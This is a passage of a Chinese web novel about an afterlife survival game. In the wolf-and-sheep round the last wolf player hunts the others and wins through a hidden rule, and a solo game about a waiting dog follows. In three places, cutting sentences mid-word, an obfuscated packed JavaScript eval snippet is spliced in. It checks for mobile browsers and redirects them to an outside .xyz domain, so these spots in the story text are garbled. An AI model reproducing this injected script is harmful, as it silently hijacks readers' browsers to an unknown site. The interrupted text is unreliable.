【隐藏规则4:当场上狼玩家仅剩一名时,进入狼羊模式。】 【狼羊模式:限时一夜,地点:别墅内。所有人可离开房间,羊玩家进行躲藏,狼玩家寻找羊玩家。羊玩家被狼玩家触碰即被淘汰。狼玩家淘汰人数不限量。若一夜后狼玩家未抓住所有羊玩家,则狼玩家失败,剩余羊玩家胜利】 【自由活动时间取消】 【已经进入本场游戏第三个夜晚,请各位玩家根据序号回到房间】 【狼羊模式马上开启——】 “啊……回房间吧。”听完新规则,姑娘们再次提心吊胆起来,秋原推了推祁晚,“又要回去了。” 祁晚站起身来,死去的目光微微活过来了一点。 为什么会触发这样的模式? 她想起规则最后一条。 【隐藏胜利条件及规则:未公布】 隐藏规则大概已经全触发了,但隐藏胜利条件还没有。 作为狼玩家,想通过正常胜利条件赢是不可能了,游戏却还在继续——天不亡她,看来,她还能靠隐藏胜利条件赢。趁现在大家还都不知道她是狼,她可以在狼羊模式一开始时就迅速抓几个人。 于是她微笑回应,“嗯,回房间。” 她站起来,就比秋原高很多,于是秋原需要仰头望她,声音轻轻的,“回去以后,你就要开始抓我们了。” 在场所有人都回了头。 什么意思?秋原在说什么? 祁晚脸上的微笑僵住,“啊?” 这丫头,怎么上来就揭她老底? 8. 第三夜(1) “你怎么知道的?不要瞎说啊。”祁晚干笑两声,“9号的名单里又没我。” “刚才所有人都点开名单看了,只有你没有。”秋原很认真地望着她,“第一天提到过,狼玩家误杀所以淘汰票数减2。而且提到4号狼玩家死了的时候,你呛到了,就是你误杀的他——不然你敢点开名单让我们看看吗?” 祁晚不敢,无言以对,并为自己感到悲伤。 只是想赢而已,怎么就这么难。 “没关系的,虽然狼玩家只有你了,但还有一条隐藏胜利规则,你还可以赢,不要那么失望。”秋原依然望着她,“而且我们也不能投票了。” “那你非要说出来干什么啊?”祁晚有点抓狂,“你不是也知道淘汰不了我了吗。” “只要你抓不住所有羊玩家,就还是会输。”秋原眨了眨眼,随后笑起来,一双杏眼笑得弯弯,“让大家都知道,提前躲着你,你抓人抓得费力,我赢面更大。” “有道理,你说得对。”祁晚安详地闭上了眼,欲哭无泪,感觉自己赢面渺茫,“那就回房间吧,播报该催了。” 果不其然,播报催了起来。 【请回到房间——】 …… 1号房间。 祁晚安静地坐着,等播报。 【已经进入本场游戏第三个夜晚,狼玩家仅剩一名,触发并进入狼羊模式。】 咔哒一声,房门打开,走廊里的灯全部亮起。 【狼玩家进入追捕模式,请开始抓捕羊玩家】 祁晚深吸了口气,系紧了鞋带。 “开始吧。”她站起身,将衣摆塞进裤腰,然后挽起袖口,“我也有愿望要实现的,可不能输啊。” 走出房门前,祁晚大致数了一下。 场上剩余五位羊玩家,均为女性,所有人的状态看起来都不好,很疲惫。序号依次是6,8,10,11,12。其中6号、8号房间在一楼,10、11、12号房间在二楼。而在一楼的房间中,6号离她最近。 第一个目标就是她了—— …… 6号房间。 6号女孩步履沉重地回到房间,连坐下的心情都没有,直接瘫倒在了床上。 “好累啊……”她翻了个身,无精打采地喃喃:“为什么这么累……我睡得挺好的啊?” 她已经接受了自己已经死亡的这个事实,对这个死后世界虽谈不上适应良好,但也还行。然而最不适应的是这点——自从来到这里,她就很累。 她生前是个精神很足的人:上学期间每天只睡四小时,她本身就不笨,又有超长的学习时间,从没掉出过年级前十,考上了名牌大学;靠着这种超凡的精神头和中等偏上的个人能力,她顺利地找到了工作,并卷死了所有同事,职场也很顺利。 累得眼皮打架腿灌铅,她还是第一次有这种感受。 “生前何须久睡,死后自会长眠……”6号瘫在床上,撇了撇嘴,“这是真的叫我长眠吗……可是不行啊,游戏马上又要开始了……我不能输……” 游戏开始时,那个很温柔的、自称引导者的声音说,游戏赢了可以实现愿望……她想长高、想变漂亮、想吃好吃的、想要好多好多钱、想谈一场甜甜的恋爱……她有好多愿望,根本说不完。 想到这里,她坐了起来,强打精神,又重复了一遍,“我不能输。” 播报声响起。 【已经进入本场游戏第三个夜晚,狼玩家仅剩一名,触发并进入狼羊模式。】 【狼玩家进入追捕模式,羊玩家开始躲藏。请活过一夜】 随着冷漠的机械播报声,走廊西边传来一声开门声。开门的咔哒声,在这寂静的夜里格外明显。 6号绷紧了身体。 她当然知道那个方向有谁,那边是1号的房间。万幸刚才11号告诉了她们真相,她知道1号是狼。 狼,已经出门了? 然后她扑向门边,打算锁门——锁不上。 【羊玩家禁止锁门,请开始躲藏或逃跑】 播报声冷漠响起。 6号愣住了。 然而她反应很快,几秒后,她咬紧牙关,直接拉开了门—— …… 出了门,祁晚第一时间走向走廊东边。 一楼走廊东侧4个房间,是5-8号。其中5、7两人已被淘汰,房门都贴了封条,写着禁止使用,而剩下两人…… 6号房门大敞,只有8号房门紧闭。 “6号走了啊?好快。”祁晚只得先转移目标,走向8号,一路絮絮叨叨:“门估计锁了……哎,这儿也没个拆锁工具。人家门一锁,我进不去,这不是明摆着输吗?愁死我了……” 然而这点小事就想让她放弃那是不可能的,她依然拧动了8号房间的门把手,用力一推—— 在祁晚惊愕的目光中,门被推开了一个小缝。 “门没锁?”祁晚诧异,“没来得及锁吗你?这也太巧了。” 门内传出惊恐的尖叫,“系统不让锁啊!” 然后祁晚就推不动了,8号用力顶住了门,“救命啊——” “我该说点什么吗……”祁晚顶着门,有点无语,“这只有我……你跟我喊救命?” 像是终于意识到什么,门内女孩不再发出声音,感觉像是绝望了。 接下来就是简单的角力。 8号力气本就谈不上大,再加上疲惫和惊恐。就算已经用沙发顶住了门也作用不大,不到一分钟就败下阵来。 祁晚钻过已经够宽的门缝,上半身越过堵门的沙发。她手长,伸手便扯住了还在试图逃走的8号,“抓住了——别喊!我耳朵疼!” 【8号玩家,狼羊游戏失败,淘汰】 【请8号玩家进入下一场游戏】 “啊——”虽然说了不要喊,8号还是哀嚎起来:“我也想赢——” “那没办法,谁不想赢?”听见播报,祁晚松手,“总要有输家。” 下一秒,8号哀怨地看着祁晚,“以后的游戏,我不想再见到你了。”话音未落,她脚下出现一个熟悉的传送门,她掉了进去,尖叫声余音绕梁,“啊啊啊啊——” “解决。”目送她离开,祁晚快步走向楼上。 6号房门开着,不知道去哪了,她上去找找。 楼上还剩三人,分别是10、11、12号。这三个房间挨着,都在二楼走廊西侧,祁晚不用两头跑。 三个房间门都关着,祁晚挨个打开。 10、11两个房间里都没人,人已经走了却把门关上,是在故意拖延她的时间。 这个行为,跟秋原游戏开始前特意揭露她身份这个行为有点像……一个风格,估计就是秋原教的。 于是她走向1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064748|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2号房间,发现这扇门推不开。 有人。 那就跟8号是一个流程——祁晚立刻撸起袖子准备开推,然而她开始发力前,突然想起了什么。 12号房间里很吵,估计是这孩子在使劲往门口堆东西。但祁晚放下手,不再发力,已经不把她当目标了。 祁晚在想。 10、11俩人是什么时候走的? 已淘汰者的房间门都关着,进不去;10、11两个房间里没人;走廊和投票大厅里也没有可躲藏的地方——这俩人只能是去了楼下,但她上楼的时候完全没有看见她们。 她们是在她之前下的楼? 不可能,一楼走廊也没有躲藏的地方;她的房间和6号房间倒是可以进,但她走之前把两扇房门都关了,这俩人如果躲进了这两个房间,她能听见;8号房门更是被沙发堵着,就算打开门也进不去。 那么…… “是在跟我打时间差。”祁晚立刻跑向楼梯,果不其然,跑到楼梯扶手往下看,一楼楼梯尽头闪过了一个人影,背影透着慌张。 祁晚一撑扶手,直接跳了下去。 她咚地一声落地,正要钻进6号房间的10号吓了一跳,“啊——” 祁晚顾不上脚疼,一瘸一拐地追过去,“好疼好疼好疼……别跑!抓住你了!”抓住人,她扫视四周,“11号呢?你们不是一起跑的?” 10号根本没心思回答她,她看向二楼扶手,一脸震惊,“你就直接跳下来?我明明是算好时间的……” 她算好了时间。就算祁晚立刻就反应过来她在打时间差,从楼上下来也需要时间,她完全可以藏好;而当祁晚到一楼找她时,她可以顺势再躲回楼上。 计划本身没有问题,理论上来讲,她可以就这样跑一晚上。 但祁晚根本不走楼梯,直接跳下来了。 身体素质也比她强,跑得比她快很多…… 失算了……时间差根本拉不开。 “这不是着急吗。”祁晚震得腿脚都疼,抓住人了才来得及龇牙咧嘴,“我闺蜜武学世家,武道天才——我跟她学过点卸力,算是练过。换成别人肯定是走楼梯的,你输得不亏。” 10号看着她,叹气,“秀才遇到兵。” 祁晚:“……” 这是说她头脑简单的意思吗?好损。 算了,反正对方也是输了,祁晚又问了一遍,“你跟秋原——就是11号,你们不是一起跑的?” 10号摇头,“她跟12号根本没出门——我也是奇了怪了,你不去抓现成的她俩,非跑来抓我干什么?” 播报声响起。 【10号玩家,狼羊游戏失败,淘汰】 【请10号玩家进入下一场游戏】 10号直直落入传送门,临走前还摆了摆手,“拜拜,不要再见了。” “你们怎么都不想见我,今天都第二次听这句话了……”祁晚有一点无语,“我那么讨厌吗?” 6号暂且找不到,可能也在跟她打时间差。8号10号都已经淘汰了,还剩11和12号,其中12号知道明确位置。 祁晚走向楼上。 10号说:11和12号都没有出门,12号房间也确实有人。 可是刚才她明明看过。 11号房间里是没人的。 秋原去哪了? 9. 第三夜(2) 回到二楼,11号房门依旧关着,祁晚暂且没理,她找了棍子卡住12号房间的门把手,活动活动脚踝,先照着房门来了一脚。 门后传来物品掉落的杂乱声音,其中掺杂着一声惊呼。 很好,人没走。 接下来就简单了。 用与8号同样的方式淘汰掉12号,又接收了一个哀怨的眼神后,祁晚去了11号房间。 进入房间后她没有关门,而是留了个缝,将瓷质水杯放在门上。 这样一来,就算房间里有人藏着,也没办法跟她打时间差了。 衣柜……床底……床头柜……窗户,窗户打不开……卫生间……衣柜里没有夹层,浴室也没有…… 将整个房间搜索过一遍后,祁晚得出结论。 “这就是没人。” “啧。”祁晚啧了一声,将床单扯成长布条,小心翼翼地取下水杯出了房间。 用长布条将11号房间和保证没人的12号房间的门把手系在一起——这样,想开门就必须剪断布条。 然后她拿着水杯,用同样的方法检查了10号房间。 也没人。 布条很够用,她将10号房间的门把手也系上了。 收拾完这一切,祁晚带着她能找到的所有瓷杯,抱着一大捆布条,又检查了一遍二楼走廊和大厅,保证绝对没人后,回到一楼。 有了10号的前车之鉴,她必须要防止别人也跟她打时间差。于是她一口气用掉所有布条,封住了一楼楼梯口,并将几个水杯颤颤巍巍地搭在布条空隙上。 这样,只要稍微一碰,水杯就会掉。 “除非真是个苍蝇。”做完这一切,她满意地看着自己的作品,“不然肯定过不去。” “然后还有6号……还有秋原。” 关于秋原,她可谓是一点线索都没有。两害相权取其轻,她决定先抓线索偏多的那个,先抓6号。 她想起她刚出门的时候。 6号房间房门大敞,她就以为人已经走了。 可是…… “真的走了吗?”她皱着眉头走向6号房间,“到处都没有,是不是藏在屋里跟我玩灯下黑呢?” 她来到6号房间,将水杯放在门上,打开衣柜——果不其然,里面非常乱,被挤出了一个人的空位。 这姑娘确实在衣柜里藏过。 藏在衣柜里是很简单的做法,出彩在6号打开了门。说不上多难多复杂,但确实迷惑到她了。 她抓8号的时候,6号一直不动声色;想必是直到她上二楼找人的时候才离开;而等她为了抓10号跳回一楼的时候,这人早不知道藏哪去了。 祁晚气结,甩上了衣柜门,“被糊弄了啊。” 8号房间门被沙发堵着,顶多能伸个上半身进去,不可能进人。考虑到6号这个爱玩灯下黑的作风,祁晚绑好6号房门,回了自己的房间。 翻遍整个房间,她什么都没找到。 “这不对劲吧……”祁晚把自己房间的床单也撕了,弄成布条,边撕边觉得不可思议,“还能藏哪呢?不是出不去吗?” 窗外划过一抹流光。 祁晚眼前被晃了一下,顿时惊恐,抬起头来,“天亮了?”她要输了?! 窗外月明星稀,依旧是夜晚。 那刚才是什么突然亮了一下? 虽然天并没有亮,但这给了祁晚危机感。她没时间思考究竟是这个世界又出了Bug还是怎样,带着布条快步出了门,“我得快点,等天亮我就输了……” 就现在来说,唯一一个还能打开门且没被检查过的房间就是8号——虽然她依然觉得8号房间不可能进人……但果然还是查一下吧。 方才检查过的6号房门没有被人动过,楼梯口也没有。 祁晚再度打开8号房门。 沙发恰好将门卡住,位置卡得死死的,她依旧只能伸半个身子进去。 之前能抓住人全仗着她手长+速度快,但凡8号再跑得快一点,都不带被淘汰的。 “这个大小就是不能进人。”祁晚被卡得呼吸困难也进不去房间,再度确认了8号不可能有人。然而就在退出到一半时,她看见沙发角落有半拉扭曲的鞋印,看起来像是摔了一跤。 祁晚:“……” “对哦。”她恍然大悟,“6号还挺瘦小的……这个缝好像够她过去了。” 选择钻进刚有人被抓出去的8号房间而不是狼玩家本人的房间,确实更安全,更何况8号房间还已经被堵好了。 如此短的时间不足以让6号再转移到其他地方,毫无疑问,她就在这里;以秋原的体型,搞不好也在这。然而知道了位置,祁晚反而更发愁了。 “我真的进不去啊。”她又用力怼了几下门,无果,“卡得太死了……除非,我能把沙发和门都踹断?不行……做不到啊。” 她虽然多少练过点,但还是不可能做到这些……她闺蜜在的话倒是能行。 她真是,从未如此思念过自己的朋友。 不远处,衣柜响动了几声,衣柜门打开,6号从里面爬了出来,准确来说是摔了出来。 祁晚隔着门缝看着她:“……” 可能是因为窝的太久了,腿麻。6号摔得很惨,爬起来的姿势跌跌撞撞的,走了几步,但看起来像是半身不遂,边走边嘶。 两人面面相觑。 6号疼得呲牙,“……嗨。” 祁晚:“……你别嗨了。” 6号上下打量了下门缝,研究了下沙发是怎么卡住的,随后保持着安全距离略微加固了下,“我还是挺嗨的。” “啊……你确实进不来。”6号越看越开心,最终抑制不住地笑起来,“是我赢了。” 祁晚无言以对。 如果她有拆门工具,或者有能把沙发一脚踹断的闺蜜在就能赢。可惜,今天她都没有。 虽然也有愿望,但祁晚也不是什么输不起的人,她不再试图推门,而是很放松地站在原地放下手,“输了啊。” 她放下袖子,将衣摆从裤腰抽出来,“天不知道什么时候亮——自我介绍一下吧。我叫祁晚,示字旁加耳刀旁的祁,傍晚的晚,你呢?” 6号在沙发上坐下——那个位置恰好在门后,祁晚能看见她但抓不住她,她道:“我叫柳州与。柳州就是地名的那个柳州,一横一竖折弯钩又一横的那个与。” “好特别的名字,一般人好像很少用那个字起名。”祁晚目测了一下距离,发现柳州与坐下的这个位置自己还真是够不到,但她还是想试试……她问道:“这个名字,有什么意义吗?” 柳州与又挪远了一点,“我妈妈是在这个地方遇见的我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064749|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸。但我爸爸在我出生前就死了,她就给我起了这个名字。她正好姓柳,取柳州与她爱的人的意思——你别使劲够了!不是认输了吗?你再这样我去里边坐了!” 祁晚讪讪收手,“还不许我挣扎一下了。” 柳州与无奈看她,“你真是我见过最高最漂亮的人……哦,还有那个秋原,但你怎么做事这么不体面,不是都说认输了吗……那你的名字呢?有什么意义?” 祁晚听见某个名字,立刻抬起头来,“我的名字嘛……你先告诉我秋原在哪?她跟你在一起吧?我输就输了,总不能输得这么不明不白的。” 柳州与摇头,“这里只有我。你居然不是把所有人都抓住了才找到我的吗?” 祁晚疑惑,皱眉,“真的?” 柳州与摊手,“真的啊,我骗你干嘛。我都稳赢了。” “倒也是。”说完,祁晚原地坐下,道:“反正我也输定了,不抓她了……咱俩聊会天吧。不知道还有多久天亮,这里的时间根本不是正常流速。” 因为祁晚已经坐下,柳州与隔着沙发靠背看不见人,考虑到祁晚不体面的做事方式,她也不敢站起来看,“你想聊什么?” 那头,祁晚的声音变得有点艰难,像是强忍着什么,“说说你想实现的愿望吧。” 柳州与想了想,道:“我有好多愿望呢,首先肯定是想复活。但总感觉没那么简单,反正先赢了再说。” 祁晚的声音带了点哭腔,“这么巧,我也想复活。果然大家都不想死。” 柳州与感觉到一丝不对劲,“你怎么快哭了?一次游戏而已……不至于吧?” 下一秒,一块不知什么东西打在她身上,她低头一看。 是一截带血的新鲜手指。 “啊啊啊啊啊啊——”她被吓得破了音,连连后退,“你干什么啊?!” 祁晚额角青筋暴起,疼得两眼一片泪汪汪,因为刚刚咬掉自己的手指,嘴边还带着血。她疼得声音都在哽咽,“规则说,羊被狼碰到就算淘汰……我好歹得试试。” 柳州与吓得快哭了,“你也太能豁出去了……你不疼吗?没事吗?” 祁晚痛感稍减,道:“谢谢关心,你真是好人——反正大家都是死人了,疼点怕啥。我有必须要回去做的事情。” 不待柳州与再回话,播报声响起。 【6号玩家,狼羊游戏失败,淘汰】 【请6号玩家进入下一场游戏】 柳州与的传送门没有出现在脚下,而是立在一旁,于是她找了点卫生纸递给祁晚,一脸的惨不忍睹,“怎么就遇上你这种人……我真是……反正是随机匹配,以后应该碰不见你了。” 祁晚接过纸,笑了,“谢谢。” 柳州与认命地走进传送门,摆了摆手,“再见……不,别再见了。拜拜。” 祁晚目送她离开,低头一看,她方才咬掉的半截手指已经回来了。 疼痛感还在,血迹也还在,提醒着她刚刚做了什么;但她的肢体依旧完整,就好像什么都没发生过。 亲眼看到这一幕,她的痛感也消失了,“果然是死了,死人根本没身体的。” 至于她咬下来的究竟是什么,是灵魂还是别的什么……。 将已经确保没人的8号房间也系好,她转身离开。 “还剩一个。” 10. 游戏结束 祁晚又把一楼翻了个底朝天——什么都没找到。 一楼楼梯口封着,依旧没有人动过。 “真是奇了……”沉默片刻,祁晚不由得开始质疑自己之前的搜寻,于是开始一点点的拆布条,中途还因为不小心打碎了两个杯子。 又一次回到二楼地毯式搜寻,还是什么都没找到。 祁晚彻底认命,回到一楼,一屁股坐倒在楼梯上。 一起游戏的大家都不是傻子,秋原更不是。她之前就觉得自己赢面渺茫,如今更是。渺茫都是往好听了说,她可能根本就一点机会都没有。 窗外的天空蓦然亮起,随着光线充斥视线,播报声响起,是播报游戏开始时的那个温和而威严的女声。 【诸位,我是本场游戏管理者。代号:薇】 【已经进入本场游戏第三个白天,狼羊模式结束。狼玩家未抓住所有羊玩家】 【1号玩家,狼羊游戏失……】 祁晚安详地等着播报失败,然而播报声戛然而止。 祁晚:“?” 她隐约听见有人咦了一声。 咦什么?她才是那个更应该疑问的吧?! 【触发隐藏胜利条件:游戏结束时,全场狼羊玩家数量对等】 【恭喜游戏胜利的玩家,请选择一个需要实现的愿望。】 【机会可以积攒。】 【玩家祁晚、秋原游戏胜利。请提出愿望】 祁晚懵了。 怎么身为管理者还会搞错这种事?你们这个游戏团队有没有一点专业性? 身后的楼梯上传来脚步声,祁晚回头,看见秋原走了下来。 简直好像在发光一样——物理意义上的。 “赢了。”秋原走到她身边,低头看她,“要实现愿望了。” 比起愿望,祁晚更好奇秋原究竟藏哪了,“那个待会再说……你究竟藏哪里了?连被淘汰者的房间我都看了,根本打不开,我设置的所有东西也都没被动过……” 秋原一笑,道:“秘密——而且也不重要,不是吗?还是先提愿望吧,很难得的呢。” 游戏都已经结束了,这些东西追问来也没什么意义。祁晚追问无果,便不问了。提到愿望,生前最后的时光盘桓于脑海,她微微垂眸,道:“我要复活,我的愿望就是复活。我要……回家。” 管理者的语气里似乎带了点遗憾。 【抱歉,复活属于高等愿望。需要积攒胜利次数。】 祁晚抬起头,瞪大了眼,“需要多少次啊?” 管理者没回答她,而是继续播报。 【玩家秋原,请提出愿望】 秋原眨了眨眼,道:“我没有愿望,我放弃。” 此言一出,连管理者都不吱声了。 祁晚诧异地看过去,少女的眼睛比带挑染的银发更透亮夺目,她被晃了眼,更为放弃愿望这一行为震撼。 其他人都拼了命地要赢,就为了这一个愿望。这人赢了,结果不要?那她非要赢是为了什么? 然而很快播报就继续了。 【玩家祁晚积攒胜利次数,玩家秋原放弃机会。游戏结束】 【请胜利玩家进入下一场游戏】 两道传送门出现。 【游戏成员随机匹配,不可组队,请进入游戏】 离开前,祁晚很不可思议地看着秋原,“你就放弃了?你什么想要的都没有吗?” 不想要把机会给我啊!我要! ——祁晚心里怒吼,然而并没有说出来。 秋原看着她,只笑了笑,迈入自己面前的传送门。 “下场游戏见。” …… 迈过传送门,祁晚又回到那片黑暗里。 身边依然有一个光源,照亮了一片区域。只是形态变了,变成了一个圆形的光团,有点像珍珠,但还是绿的——这不由得让她想起那盏绿色的煤油灯。 “看起来好值钱的形态。”祁晚吐槽,“好像夜明珠哦……但是为什么还是绿的?你们的设计者对绿色到底有什么执念?” “夜明珠”不理她的吐槽,兀自播报起来。 【开启计数模式】 【玩家祁晚,已积攒一次胜利次数,可随时兑换】 随后它缓慢地飘动起来,朝着某个方向去。 【开启引路模式】 【请玩家跟随游戏点,去往下一场游戏】 于是祁晚跟上。 行走在无尽的黑暗里,祁晚想起她走时的情形。 秋原放弃了愿望,说了一句“下场游戏见”,然后转身就走,也没告诉她到底藏哪了,很神秘的女人。 可她也记得,进入游戏之前和游戏结束之后,引导者和管理者都在播报中明确说过“游戏成员随机匹配,不可组队”。 “是说的随机匹配。”她单手支着下巴,“我肯定没听错……下场游戏见?” 如果可以,她真想把秋原逮来好好问问。 她现在真是有很多问题:比如,秋原是怎么在新功能出现的当时就发现并拿出来用的;再比如,进入狼羊模式以后她究竟藏哪了;再再比如,是怎么说出“下场游戏见”这种话的。 “好迷啊。”祁晚想不明白,试图跟夜明珠询问,“确实是随机匹配吧?” 【同语种游戏成员随机匹配,不可组队。】 “我就说我没听错。”祁晚满意点头,下了定论,“她搁那瞎说。” 发光的游戏点自然不会再对她的发言做出回应,她也没那么多话想说,无边黑暗再度陷入寂静。 她现在感觉不到累,感觉不到饿,也感觉不到时间的流逝——没有实感,但是无聊。 于是她再次试图跟长得像夜明珠的游戏点搭话,“还要多久能见到其他玩家?” 果然这种无伤大雅的问题系统就会回应,游戏点回答道:【本场游戏仅有您一位玩家】 “只有我自己啊……嗯?”祁晚点点头,点到一半才反应过来,整个人一惊,“只有我?” “不是,游戏哎?只有我?就我一个我跟谁玩?”祁晚的问题连珠炮似的问出去,“这么搞意义何在?我不喜欢单机游戏耶?” 然而游戏点不再回答了。 道路漫长得像是没有尽头,就在祁晚以为自己要在这片黑暗里走一辈子时,她视野尽头出现了可疑的白光。 很像狼羊游戏别墅区外的那个大白圈啊—— 于是她眯着眼加快了脚步,顺便催游戏点,“你倒是飘快点,前边就是了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064750|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【速度固定,不可调整。距离下一场游戏地点还有250m,即将抵达】 祁晚啧了一声,目测距离的能力她还是有的,“这个距离怎么看也不到200米了吧?”虚报个250什么意思?骂她? 这个距离怎么也不用带路了,祁晚抛下游戏点,自己快步走过去。 迈过熟悉的大白圈,一个黑白像素风小镇映入眼帘。 祁晚:“……” 误入我的世界?还是褪色版的。 她立刻充满惊恐地低下头看自己的手——有颜色,没有变成方块,放心了。 她差点就以为她要变成超级马里奥了!然后该不会让她收集蘑菇和金币之类的……单机游戏嘛。 她刚才忘了说了,她不仅不喜欢单机游戏,还不喜欢像素风,更不喜欢这种黑白的丧葬风。 祁晚:“这是怎么个风格?上个世界还只有细节是像素块。这个直接不装了?半成品给我端上来了是吗?” 游戏点这才慢悠悠地跟上,然而没有发出播报声。 祁晚眼睁睁地看着它由绿变黑,漆黑得一丝光都不反,并且由圆变方,准确来说是变成了一个与此小镇画风相同的像素快,然后自己落到了路边。 难怪要叫游戏点,她就感觉这东西应该叫个夜明珠或者什么灯之类的合适。 游戏点飘走落下,她这才注意到,路两旁每隔50米就放置了一个这样的纯黑色像素快。路的尽头无法看到,但至少她视野所及的路线里都有。 “怎么个事啊……”她懵懵然地走过去,犹豫着伸手碰了一下,“啊!” 那方块在被她碰到的一瞬间就变回了绿色圆球,随之变化的还有周围的景象,黑色圆球周边直径50米的范围都变成了正常的小镇,颜色回归,也不再是像素风了。 这个过程很突然,吓了她一跳。 祁晚:“……” 原来还是马里奥。 在这里,请叫她祁.马里奥.晚。 只不过她“收集”的是这些黑色游戏点,而不是金币和蘑菇;拯救的也不是公主,而是丧葬像素风小镇。 像素风的东西就是该被拯救的,她很认同这个理念,点了点头,“暂且原谅你是个单机游戏了。” 姑且算是找到了一件能做的事,她开始来回走着一个个触碰黑色方块。因为路两旁都有,她需要来呈“S”形回走,因此行进得并不快。 她边点边疑惑,“这次怎么没有播报……也没有规则和胜利条件,难道我的任务就是点亮整个小镇?好单纯的跑图。”还是真人跑图。 在点亮20个黑色方块后,她直起腰时眼前突然发黑,腿一软,差点摔倒。 “啊!”她险之又险地站稳,缓了半天视线才再清晰起来,然而还是晕,“好晕……怎么回事?” 这个症状让她想起了她低血糖的同事,真是很像,“可是……我是死人了啊……?” 死人会低血糖?简直笑话。 更何况她身体一直很好,就算死人真的会低血糖,那也轮不到她。 不过也算是走出五百米来了,她极目远眺,在视野尽头看到了一片不是像素风且有颜色的地方。 是一家人,正在往车上装东西,好像在搬家。 11. 小狗(1) 她还没来得及发出疑问,播报声就响了起来。 这次又换了个声音,比起之前的,这次的女声毫无温和可言,更为冷硬,也更为锐利。 【我是本场游戏管理者。代号:岳】 【玩家全数到齐,游戏即将开始。】 还是惯例,管理者说完这两句话就不再说话。周围已被点亮的游戏点齐齐发出生硬的机械播报声。 街道空荡无人,一堆球球一起发出播报声,说实话,有点诡异。 【玩家祁晚登入游戏。游戏主题:等待】 【全场共1名玩家,获得帮助者身份】 【胜利条件:完成等待】 祁晚听完这些,只能说是一头雾水。 等待?什么等待?谁在等?要等谁?怎么算等完了? 然而接下来就没有更多指引了,唯一的线索就是不远处正在搬家的那家人,她只得强打精神往前走。 可能是因为已经变虚弱,这次再触碰游戏点时,她的感受分外明显。 又一个游戏点亮起,祁晚收回手,累得直接坐在马路边上。 “这东西抽我力气。”她无力地看着自己的手,指尖赫然已经变得有一点透明,“不对,我已经是死人了,不能这么说——那这东西是在抽我的灵魂?” 好恐怖,她要牺牲自己的灵魂来拯救这个小镇吗?什么地狱小镇?她不想玩了! 祁晚颓然坐在原地不想前进,满心愤懑:凭什么只有她被扔到这种抽人灵魂的地方?等她连灵魂都被抽没了,她还能有复活的机会吗? 该不会是系统不想复活她,所以搞了这么一出直接让她魂飞魄散吧?好过分啊!太过分了! 不想的话可以跟她直说嘛!她不复活了就好了嘛! 越想越生气,祁晚气得站起来,抬手照着游戏点就是一拳,“什么东西——咦?” 游戏点灵巧地避开她的拳头,但她咦这一声不是因为这一躲。 而是因为她这次站起来没有头晕。 头不晕了,眼前不黑了,身上也有劲了……祁晚抬起手来看自己的手指——方才那一点点透明现在也恢复了。 “原来不是在抽我的魂?”她愕然地看着这一幕,“那是在抽什么?” 既然跟被她咬断的手指一样会恢复,那她就不害怕了,方才的那点愤怒也烟消云散,她继续边点游戏点边往前走。 她也试过如果不点会怎么样,会被空气墙挡住。 迫不得已,只得继续点。 不多时,她走进了那片仅有的不是像素风的地方。 果然是在搬家。 两个年龄相仿的女人,一个长发,一个短发。两人正在搬东西。她们来回地走着,累得满头大汗,一条长得像狼的狗摇着尾巴,也跟着来回地走着。 不多时,车上装满了,满满一车,一点空隙都没留,但东西却还剩下一些。于是其中的长发女人俯下身摸了摸小狗的头,“你在这里等一等哦,妈妈们下一趟回来接你。” 小狗用头用力顶她的手。 “乖,等我们回来。”她笑起来,另一个短发女人也俯下身用力揉搓一把狗头,“很快咱们就去新家喽——” 然后两位主人坐上货车,车辆在烟尘中远去。 小狗乖乖地坐在原地,望着,尾巴不再摇了。 随着货车消失在视野尽头,播报声再次响起。 【游戏正式开始】 “咦?”祁晚愣了一下,随后反应过来,“主题等待,等待……要等人的就是这条狗了?这镇子上也没别人。我的身份是帮助者,我要帮它等呗……这事能怎么帮啊……等主人回来我帮忙搬点东西?” 小狗蔫头耷脑地站起来,看起来是要回到院子里,走到一半时,看见了正在走向它的祁晚。 找到任务目标,祁晚走到小狗身边,“感觉还挺简单的,中午加下午怎么也够你主人收拾完了,但是有那么简单吗……噫,你是狗?” 远看的时候她就感觉不太对劲,如今近看更是不对,“你是狼吧?你就是狼吧?” 小狗蹲下,看着她,“汪!” “行吧,是狗。”祁晚也蹲下,摸了摸狗头,“捷克狼犬?真帅啊。” “要我帮你,但是这个事情还能怎么帮?”在路边的石墩子上坐下,祁晚无聊得想抠脚,“我陪你等吧。” 方才走过来时,她又点亮了几个游戏点,说实话,现在还挺累的,能在这里歇一会也好。 